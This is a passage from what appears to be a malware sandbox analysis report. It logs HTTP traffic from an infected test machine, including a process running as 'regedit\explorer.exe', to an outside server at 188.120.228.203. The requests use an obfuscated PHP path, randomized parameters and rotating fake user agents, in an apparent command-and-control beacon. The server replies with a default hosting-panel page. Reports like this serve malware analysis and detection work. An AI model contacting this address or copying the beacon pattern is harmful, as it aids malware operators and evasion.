Nov 27, 2024 04:02:25.553567886 CET	1236	IN	Data Raw: 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 2e 30 36 32 35 72 65 6d 3b 66 6f 6e Data Ascii: fy-content:center;align-items:center;text-align:center;border-radius:1.0625rem;font-weight:500;padding:.375rem .8125rem}@media (min-width:45.625em){.window-main__actions,.window-main__body{margin-top:1.875rem}.window-main{padding:3.75rem 8.937
Nov 27, 2024 04:02:25.553580999 CET	1236	IN	Data Raw: 72 65 6d 29 2f 20 32 35 2e 36 32 35 29 7d 7d 40 73 75 70 70 6f 72 74 73 20 28 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 63 6c 61 6d 70 28 31 2e 35 72 65 6d 20 2c 2d 34 2e 33 30 34 38 37 38 30 34 38 38 72 65 6d 20 2b 20 32 39 2e 30 32 34 33 39 30 Data Ascii: rem)/ 25.625)}}@supports (padding-right:clamp(1.5rem ,-4.3048780488rem + 29.0243902439vw ,8.9375rem)){.window-main{padding-right:clamp(1.5rem ,-4.3048780488rem + 29.0243902439vw ,8.9375rem)}}@supports not (padding-right:clamp(1.5rem ,-4.304878
Nov 27, 2024 04:02:25.553594112 CET	896	IN	Data Raw: 36 38 33 76 77 20 2c 32 2e 32 35 72 65 6d 29 29 7b 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 63 61 6c 63 28 31 2e 35 72 65 6d 20 2b 20 2e 37 35 2a 28 31 30 30 76 77 20 2d 20 32 30 72 65 6d 29 2f 20 Data Ascii: 683vw ,2.25rem)){.window-main__title{font-size:calc(1.5rem + .75*(100vw - 20rem)/ 25.625)}}@supports (font-size:clamp(0.875rem ,0.7286585366rem + 0.7317073171vw ,1.0625rem)){.window-main__body{font-size:clamp(.875rem ,.7286585366rem + .7317073
Nov 27, 2024 04:02:25.553744078 CET	1236	IN	Data Raw: 72 65 6d 20 2c 2e 34 36 34 39 33 39 30 32 34 34 72 65 6d 20 2b 20 2e 34 38 37 38 30 34 38 37 38 76 77 20 2c 2e 36 38 37 35 72 65 6d 29 7d 7d 40 73 75 70 70 6f 72 74 73 20 6e 6f 74 20 28 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 63 6c 61 6d 70 28 30 Data Ascii: rem ,.4649390244rem + .487804878vw ,.6875rem)}}@supports not (padding-left:clamp(0.5625rem ,0.4649390244rem + 0.487804878vw ,0.6875rem)){.window-main__list{padding-left:calc(.5625rem + .125*(100vw - 20rem)/ 25.625)}}@supports (padding-left:cla
Nov 27, 2024 04:02:25.553755999 CET	224	IN	Data Raw: 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 09 09 09 09 09 09 3c 67 20 6f 70 61 63 69 74 79 3d 22 30 2e 37 22 20 66 69 6c 74 65 72 3d 22 75 72 6c 28 23 66 69 6c 74 65 72 30 5f 66 Data Ascii: xmlns="http://www.w3.org/2000/svg"><g opacity="0.7" filter="url(#filter0_f_2001_5)"><path d="M360.522 563.421C360.522 563.421 276.147 497.448 257.174 430.814C238.2 364.18 250.761 287.368 285.228 259.25C319.69
Nov 27, 2024 04:02:25.553769112 CET	1236	IN	Data Raw: 36 20 32 33 31 2e 31 33 33 20 33 36 33 2e 30 31 38 20 32 36 32 2e 33 35 36 20 33 38 31 2e 39 39 31 20 33 32 38 2e 39 39 43 32 38 37 2e 39 39 20 34 31 38 2e 34 37 32 20 33 36 30 2e 35 32 32 20 35 36 33 2e 34 32 31 20 33 36 30 2e 35 32 32 20 35 36 Data Ascii: 6 231.133 363.018 262.356 381.991 328.99C287.99 418.472 360.522 563.421 360.522 563.421Z" fill="#00498D" /></g><g opacity="0.7" filter="url(#filter1_f_2001_5)"><ellipse cx="50.6112" cy="60.3996" rx="50.6112" ry="60.3996"
Nov 27, 2024 04:02:25.553782940 CET	1236	IN	Data Raw: 6c 74 65 72 73 3d 22 73 52 47 42 22 3e 0a 09 09 09 09 09 09 09 09 3c 66 65 46 6c 6f 6f 64 20 66 6c 6f 6f 64 2d 6f 70 61 63 69 74 79 3d 22 30 22 20 72 65 73 75 6c 74 3d 22 42 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 46 69 78 22 20 2f 3e 0a 09 09 Data Ascii: lters="sRGB"><feFlood flood-opacity="0" result="BackgroundImageFix" /><feBlend mode="normal" in="SourceGraphic" in2="BackgroundImageFix" result="shape" /><feGaussianBlur stdDeviation="75" result="effect1_foregroundBl
Nov 27, 2024 04:02:25.673710108 CET	1236	IN	Data Raw: 0a 09 09 09 09 09 09 09 3c 6c 69 20 63 6c 61 73 73 3d 22 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 69 74 65 6d 22 3e 59 6f 75 72 20 64 6f 6d 61 69 6e 20 68 61 73 20 61 6e 20 41 41 41 41 20 72 65 63 6f 72 64 2c 20 62 75 74 20 74 68 65 20 73 69 74 65 Data Ascii: <li class="window-main__item">Your domain has an AAAA record, but the site only works with IPv4 on the server.</li></ul></div><div class="window-main__actions"><a href="https://kb.fastpanel.direct/troubleshoot
Nov 27, 2024 04:02:25.676346064 CET	673	OUT	GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?x7sAZ9s8LIMWmsWdYRkexiMsvuP818e=MsDQCmtwup8&WOQPE7JGakLPu9OpuuGMn3K4oG=viytIjYVgdA44zY&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&x7sAZ9s8LIMWmsWdYRkexiMsvuP818e=MsDQCmtwup8&WOQPE7JGakLPu9OpuuGMn3K4oG=viytIjYVgdA44zY HTTP/1.1 Accept: / Content-Type: text/css User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Host: 188.120.228.203
Nov 27, 2024 04:02:26.124521017 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Wed, 27 Nov 2024 03:02:25 GMT Content-Type: text/html Content-Length: 11694 Last-Modified: Wed, 11 Sep 2024 10:54:53 GMT Connection: keep-alive ETag: "66e176fd-2dae" Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 46 41 53 54 50 41 4e 45 4c 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 09 3c 73 74 79 6c 65 3e 0a 09 09 40 69 6d 70 6f 72 74 20 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><title>FASTPANEL</title><meta charset="UTF-8"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" content="noindex,nofollow"><style>@import url('https://fonts.googleapis.com/css?family=Roboto:regular,500&display=swap');::after,::before,a,label{display:inline-block}.main,.wrapper{flex-direction:column}.window-main,.window-main__item{position:relative}{padding:0;margin:0;border:0},::after,::before{box-sizing:border-box}body,html{height:100%;min-width:320px}body{color:#fff;line-height:1;font-family:Roboto;font-size:.875rem;-ms-text-size-adjust:100%;-moz-text-size-adjust:100%;-webkit-text-size-adjust:100%;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;background-color:#000}button,input,textarea{font-family:Roboto;font-size:inherit;line-height:inherit;color:inherit;background-color:rgba(0,0,0,0)}input,textarea{width:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49785	188.120.228.203	80

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 04:02:31.998044968 CET	731	OUT	GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?iXlp95Y2OIhl=j2BPpjdF4opH2L&pCeLVPpGxY9MMAtCHVPqjeDNU=Qnt5hGtlMMnVQK3wN0qXQFLliw&fNL8Q1g9CW202ckxhZwE=wwQN&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&iXlp95Y2OIhl=j2BPpjdF4opH2L&pCeLVPpGxY9MMAtCHVPqjeDNU=Qnt5hGtlMMnVQK3wN0qXQFLliw&fNL8Q1g9CW202ckxhZwE=wwQN HTTP/1.1 Accept: / Content-Type: text/csv User-Agent: Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko) Host: 188.120.228.203 Connection: Keep-Alive
Nov 27, 2024 04:02:33.365844011 CET	241	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Wed, 27 Nov 2024 03:02:33 GMT Content-Type: text/html Content-Length: 11694 Last-Modified: Wed, 11 Sep 2024 10:54:53 GMT Connection: keep-alive ETag: "66e176fd-2dae" Accept-Ranges: bytes
Nov 27, 2024 04:02:33.365963936 CET	1236	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 46 41 53 54 50 41 4e 45 4c 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 Data Ascii: <!DOCTYPE html><html lang="en"><head><title>FASTPANEL</title><meta charset="UTF-8"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" co
Nov 27, 2024 04:02:33.366022110 CET	1236	IN	Data Raw: 6e 67 3a 6e 6f 6e 65 3b 6f 76 65 72 73 63 72 6f 6c 6c 2d 62 65 68 61 76 69 6f 72 3a 6e 6f 6e 65 7d 2e 77 72 61 70 70 65 72 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 Data Ascii: ng:none;overscroll-behavior:none}.wrapper{min-height:100%;display:flex;overflow:hidden}@supports (overflow:clip){.wrapper{overflow:clip}}.wrapper>main{flex:1 1 auto}.wrapper>*{min-width:0}.main{display:flex;align-items:center;justify-content:c
Nov 27, 2024 04:02:33.366034985 CET	448	IN	Data Raw: 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 2e 30 36 32 35 72 65 6d 3b 66 6f 6e Data Ascii: fy-content:center;align-items:center;text-align:center;border-radius:1.0625rem;font-weight:500;padding:.375rem .8125rem}@media (min-width:45.625em){.window-main__actions,.window-main__body{margin-top:1.875rem}.window-main{padding:3.75rem 8.937
Nov 27, 2024 04:02:33.366108894 CET	1236	IN	Data Raw: 7d 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 32 30 65 6d 29 7b 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 7b 70 61 64 64 69 6e 67 3a 31 2e 35 72 65 6d 7d 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 Data Ascii: }@media (max-width:20em){.window-main{padding:1.5rem}.window-main__title{font-size:1.5rem}.window-main__body{margin-top:1.5rem;font-size:.875rem}.window-main__info{margin-bottom:1.5rem}.window-main__list{padding-left:.5625rem}.window-main__ite
Nov 27, 2024 04:02:33.366122007 CET	1236	IN	Data Raw: 6e 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 63 6c 61 6d 70 28 31 2e 35 72 65 6d 20 2c 2d 2e 32 35 36 30 39 37 35 36 31 72 65 6d 20 2b 20 38 2e 37 38 30 34 38 37 38 30 34 39 76 77 20 2c 33 2e 37 35 72 65 6d 29 7d 7d 40 73 75 70 70 6f 72 74 73 20 6e Data Ascii: n{padding-top:clamp(1.5rem ,-.256097561rem + 8.7804878049vw ,3.75rem)}}@supports not (padding-top:clamp(1.5rem ,-0.256097561rem + 8.7804878049vw ,3.75rem)){.window-main{padding-top:calc(1.5rem + 2.25*(100vw - 20rem)/ 25.625)}}@supports (paddin
Nov 27, 2024 04:02:33.366132975 CET	448	IN	Data Raw: 6d 3a 63 6c 61 6d 70 28 31 2e 35 72 65 6d 20 2c 31 2e 32 30 37 33 31 37 30 37 33 32 72 65 6d 20 2b 20 31 2e 34 36 33 34 31 34 36 33 34 31 76 77 20 2c 31 2e 38 37 35 72 65 6d 29 29 7b 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 69 6e 66 6f 7b 6d 61 Data Ascii: m:clamp(1.5rem ,1.2073170732rem + 1.4634146341vw ,1.875rem)){.window-main__info{margin-bottom:clamp(1.5rem ,1.2073170732rem + 1.4634146341vw ,1.875rem)}}@supports not (margin-bottom:clamp(1.5rem ,1.2073170732rem + 1.4634146341vw ,1.875rem)){.w
Nov 27, 2024 04:02:33.366143942 CET	1236	IN	Data Raw: 72 65 6d 20 2c 2e 34 36 34 39 33 39 30 32 34 34 72 65 6d 20 2b 20 2e 34 38 37 38 30 34 38 37 38 76 77 20 2c 2e 36 38 37 35 72 65 6d 29 7d 7d 40 73 75 70 70 6f 72 74 73 20 6e 6f 74 20 28 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 63 6c 61 6d 70 28 30 Data Ascii: rem ,.4649390244rem + .487804878vw ,.6875rem)}}@supports not (padding-left:clamp(0.5625rem ,0.4649390244rem + 0.487804878vw ,0.6875rem)){.window-main__list{padding-left:calc(.5625rem + .125*(100vw - 20rem)/ 25.625)}}@supports (padding-left:cla
Nov 27, 2024 04:02:33.366302967 CET	224	IN	Data Raw: 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 09 09 09 09 09 09 3c 67 20 6f 70 61 63 69 74 79 3d 22 30 2e 37 22 20 66 69 6c 74 65 72 3d 22 75 72 6c 28 23 66 69 6c 74 65 72 30 5f 66 Data Ascii: xmlns="http://www.w3.org/2000/svg"><g opacity="0.7" filter="url(#filter0_f_2001_5)"><path d="M360.522 563.421C360.522 563.421 276.147 497.448 257.174 430.814C238.2 364.18 250.761 287.368 285.228 259.25C319.69
Nov 27, 2024 04:02:33.366321087 CET	1236	IN	Data Raw: 36 20 32 33 31 2e 31 33 33 20 33 36 33 2e 30 31 38 20 32 36 32 2e 33 35 36 20 33 38 31 2e 39 39 31 20 33 32 38 2e 39 39 43 32 38 37 2e 39 39 20 34 31 38 2e 34 37 32 20 33 36 30 2e 35 32 32 20 35 36 33 2e 34 32 31 20 33 36 30 2e 35 32 32 20 35 36 Data Ascii: 6 231.133 363.018 262.356 381.991 328.99C287.99 418.472 360.522 563.421 360.522 563.421Z" fill="#00498D" /></g><g opacity="0.7" filter="url(#filter1_f_2001_5)"><ellipse cx="50.6112" cy="60.3996" rx="50.6112" ry="60.3996"
Nov 27, 2024 04:02:33.486138105 CET	1236	IN	Data Raw: 6c 74 65 72 73 3d 22 73 52 47 42 22 3e 0a 09 09 09 09 09 09 09 09 3c 66 65 46 6c 6f 6f 64 20 66 6c 6f 6f 64 2d 6f 70 61 63 69 74 79 3d 22 30 22 20 72 65 73 75 6c 74 3d 22 42 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 46 69 78 22 20 2f 3e 0a 09 09 Data Ascii: lters="sRGB"><feFlood flood-opacity="0" result="BackgroundImageFix" /><feBlend mode="normal" in="SourceGraphic" in2="BackgroundImageFix" result="shape" /><feGaussianBlur stdDeviation="75" result="effect1_foregroundBl
Nov 27, 2024 04:02:33.584337950 CET	707	OUT	GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?iXlp95Y2OIhl=j2BPpjdF4opH2L&pCeLVPpGxY9MMAtCHVPqjeDNU=Qnt5hGtlMMnVQK3wN0qXQFLliw&fNL8Q1g9CW202ckxhZwE=wwQN&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&iXlp95Y2OIhl=j2BPpjdF4opH2L&pCeLVPpGxY9MMAtCHVPqjeDNU=Qnt5hGtlMMnVQK3wN0qXQFLliw&fNL8Q1g9CW202ckxhZwE=wwQN HTTP/1.1 Accept: / Content-Type: text/csv User-Agent: Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko) Host: 188.120.228.203
Nov 27, 2024 04:02:34.027124882 CET	241	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Wed, 27 Nov 2024 03:02:33 GMT Content-Type: text/html Content-Length: 11694 Last-Modified: Wed, 11 Sep 2024 10:54:53 GMT Connection: keep-alive ETag: "66e176fd-2dae" Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49806	188.120.228.203	80	616	C:\Windows\regedit\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 04:02:41.538192987 CET	694	OUT	GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?8zuOabaF=gPSN2e2E7Tr63&qfhjpvFDRBKGR2CDKyYQ=FUKx&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&8zuOabaF=gPSN2e2E7Tr63&qfhjpvFDRBKGR2CDKyYQ=FUKx HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (iPhone9,4; U; CPU iPhone OS 10_0_1 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A403 Safari/602.1 Host: 188.120.228.203 Connection: Keep-Alive
Nov 27, 2024 04:02:42.961347103 CET	241	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Wed, 27 Nov 2024 03:02:42 GMT Content-Type: text/html Content-Length: 11694 Last-Modified: Wed, 11 Sep 2024 10:54:53 GMT Connection: keep-alive ETag: "66e176fd-2dae" Accept-Ranges: bytes
Nov 27, 2024 04:02:42.961366892 CET	1236	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 46 41 53 54 50 41 4e 45 4c 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 Data Ascii: <!DOCTYPE html><html lang="en"><head><title>FASTPANEL</title><meta charset="UTF-8"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" co
Nov 27, 2024 04:02:42.961410046 CET	224	IN	Data Raw: 6e 67 3a 6e 6f 6e 65 3b 6f 76 65 72 73 63 72 6f 6c 6c 2d 62 65 68 61 76 69 6f 72 3a 6e 6f 6e 65 7d 2e 77 72 61 70 70 65 72 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 Data Ascii: ng:none;overscroll-behavior:none}.wrapper{min-height:100%;display:flex;overflow:hidden}@supports (overflow:clip){.wrapper{overflow:clip}}.wrapper>main{flex:1 1 auto}.wrapper>*{min-width:0}.main{display:flex;align-items:cente
Nov 27, 2024 04:02:42.961421013 CET	1236	IN	Data Raw: 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 76 68 3b 6d 69 6e 2d 77 69 64 74 68 3a 31 30 30 76 77 3b 70 61 64 64 69 6e 67 3a 31 72 65 6d 7d 2e 77 69 6e 64 6f 77 2d 6d 61 69 Data Ascii: r;justify-content:center;min-height:100vh;min-width:100vw;padding:1rem}.window-main{background-color:#13151a;border-radius:.75rem;max-width:45.625rem}.window-main .svg-one{position:absolute;top:-240px;right:-360px;z-index:-1}.window-main .svg-
Nov 27, 2024 04:02:42.961431980 CET	224	IN	Data Raw: 64 64 69 6e 67 3a 33 2e 37 35 72 65 6d 20 38 2e 39 33 37 35 72 65 6d 7d 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 32 35 72 65 6d 7d 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 62 6f 64 79 7b 66 Data Ascii: dding:3.75rem 8.9375rem}.window-main__title{font-size:2.25rem}.window-main__body{font-size:1.0625rem}.window-main__info{margin-bottom:1.875rem}.window-main__list{padding-left:.6875rem}.window-main__item{padding-left:.875rem}
Nov 27, 2024 04:02:42.961483955 CET	1236	IN	Data Raw: 7d 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 32 30 65 6d 29 7b 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 7b 70 61 64 64 69 6e 67 3a 31 2e 35 72 65 6d 7d 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 Data Ascii: }@media (max-width:20em){.window-main{padding:1.5rem}.window-main__title{font-size:1.5rem}.window-main__body{margin-top:1.5rem;font-size:.875rem}.window-main__info{margin-bottom:1.5rem}.window-main__list{padding-left:.5625rem}.window-main__ite
Nov 27, 2024 04:02:42.961498022 CET	1236	IN	Data Raw: 6e 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 63 6c 61 6d 70 28 31 2e 35 72 65 6d 20 2c 2d 2e 32 35 36 30 39 37 35 36 31 72 65 6d 20 2b 20 38 2e 37 38 30 34 38 37 38 30 34 39 76 77 20 2c 33 2e 37 35 72 65 6d 29 7d 7d 40 73 75 70 70 6f 72 74 73 20 6e Data Ascii: n{padding-top:clamp(1.5rem ,-.256097561rem + 8.7804878049vw ,3.75rem)}}@supports not (padding-top:clamp(1.5rem ,-0.256097561rem + 8.7804878049vw ,3.75rem)){.window-main{padding-top:calc(1.5rem + 2.25*(100vw - 20rem)/ 25.625)}}@supports (paddin
Nov 27, 2024 04:02:42.961548090 CET	448	IN	Data Raw: 6d 3a 63 6c 61 6d 70 28 31 2e 35 72 65 6d 20 2c 31 2e 32 30 37 33 31 37 30 37 33 32 72 65 6d 20 2b 20 31 2e 34 36 33 34 31 34 36 33 34 31 76 77 20 2c 31 2e 38 37 35 72 65 6d 29 29 7b 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 69 6e 66 6f 7b 6d 61 Data Ascii: m:clamp(1.5rem ,1.2073170732rem + 1.4634146341vw ,1.875rem)){.window-main__info{margin-bottom:clamp(1.5rem ,1.2073170732rem + 1.4634146341vw ,1.875rem)}}@supports not (margin-bottom:clamp(1.5rem ,1.2073170732rem + 1.4634146341vw ,1.875rem)){.w
Nov 27, 2024 04:02:42.961585045 CET	1236	IN	Data Raw: 72 65 6d 20 2c 2e 34 36 34 39 33 39 30 32 34 34 72 65 6d 20 2b 20 2e 34 38 37 38 30 34 38 37 38 76 77 20 2c 2e 36 38 37 35 72 65 6d 29 7d 7d 40 73 75 70 70 6f 72 74 73 20 6e 6f 74 20 28 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 63 6c 61 6d 70 28 30 Data Ascii: rem ,.4649390244rem + .487804878vw ,.6875rem)}}@supports not (padding-left:clamp(0.5625rem ,0.4649390244rem + 0.487804878vw ,0.6875rem)){.window-main__list{padding-left:calc(.5625rem + .125*(100vw - 20rem)/ 25.625)}}@supports (padding-left:cla
Nov 27, 2024 04:02:42.961666107 CET	1236	IN	Data Raw: 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 09 09 09 09 09 09 3c 67 20 6f 70 61 63 69 74 79 3d 22 30 2e 37 22 20 66 69 6c 74 65 72 3d 22 75 72 6c 28 23 66 69 6c 74 65 72 30 5f 66 Data Ascii: xmlns="http://www.w3.org/2000/svg"><g opacity="0.7" filter="url(#filter0_f_2001_5)"><path d="M360.522 563.421C360.522 563.421 276.147 497.448 257.174 430.814C238.2 364.18 250.761 287.368 285.228 259.25C319.696 231.133 363.018 2
Nov 27, 2024 04:02:43.081641912 CET	1236	IN	Data Raw: 20 73 74 64 44 65 76 69 61 74 69 6f 6e 3d 22 31 32 34 22 20 72 65 73 75 6c 74 3d 22 65 66 66 65 63 74 31 5f 66 6f 72 65 67 72 6f 75 6e 64 42 6c 75 72 5f 32 30 30 31 5f 35 22 20 2f 3e 0a 09 09 09 09 09 09 09 3c 2f 66 69 6c 74 65 72 3e 0a 09 09 09 Data Ascii: stdDeviation="124" result="effect1_foregroundBlur_2001_5" /></filter><filter id="filter1_f_2001_5" x="63.8591" y="146.319" width="394.544" height="426.142" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB">
Nov 27, 2024 04:02:43.103537083 CET	670	OUT	GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?8zuOabaF=gPSN2e2E7Tr63&qfhjpvFDRBKGR2CDKyYQ=FUKx&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&8zuOabaF=gPSN2e2E7Tr63&qfhjpvFDRBKGR2CDKyYQ=FUKx HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (iPhone9,4; U; CPU iPhone OS 10_0_1 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A403 Safari/602.1 Host: 188.120.228.203
Nov 27, 2024 04:02:43.559287071 CET	241	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Wed, 27 Nov 2024 03:02:43 GMT Content-Type: text/html Content-Length: 11694 Last-Modified: Wed, 11 Sep 2024 10:54:53 GMT Connection: keep-alive ETag: "66e176fd-2dae" Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49827	188.120.228.203	80

Timestamp	Bytes transferred	Direction	Data
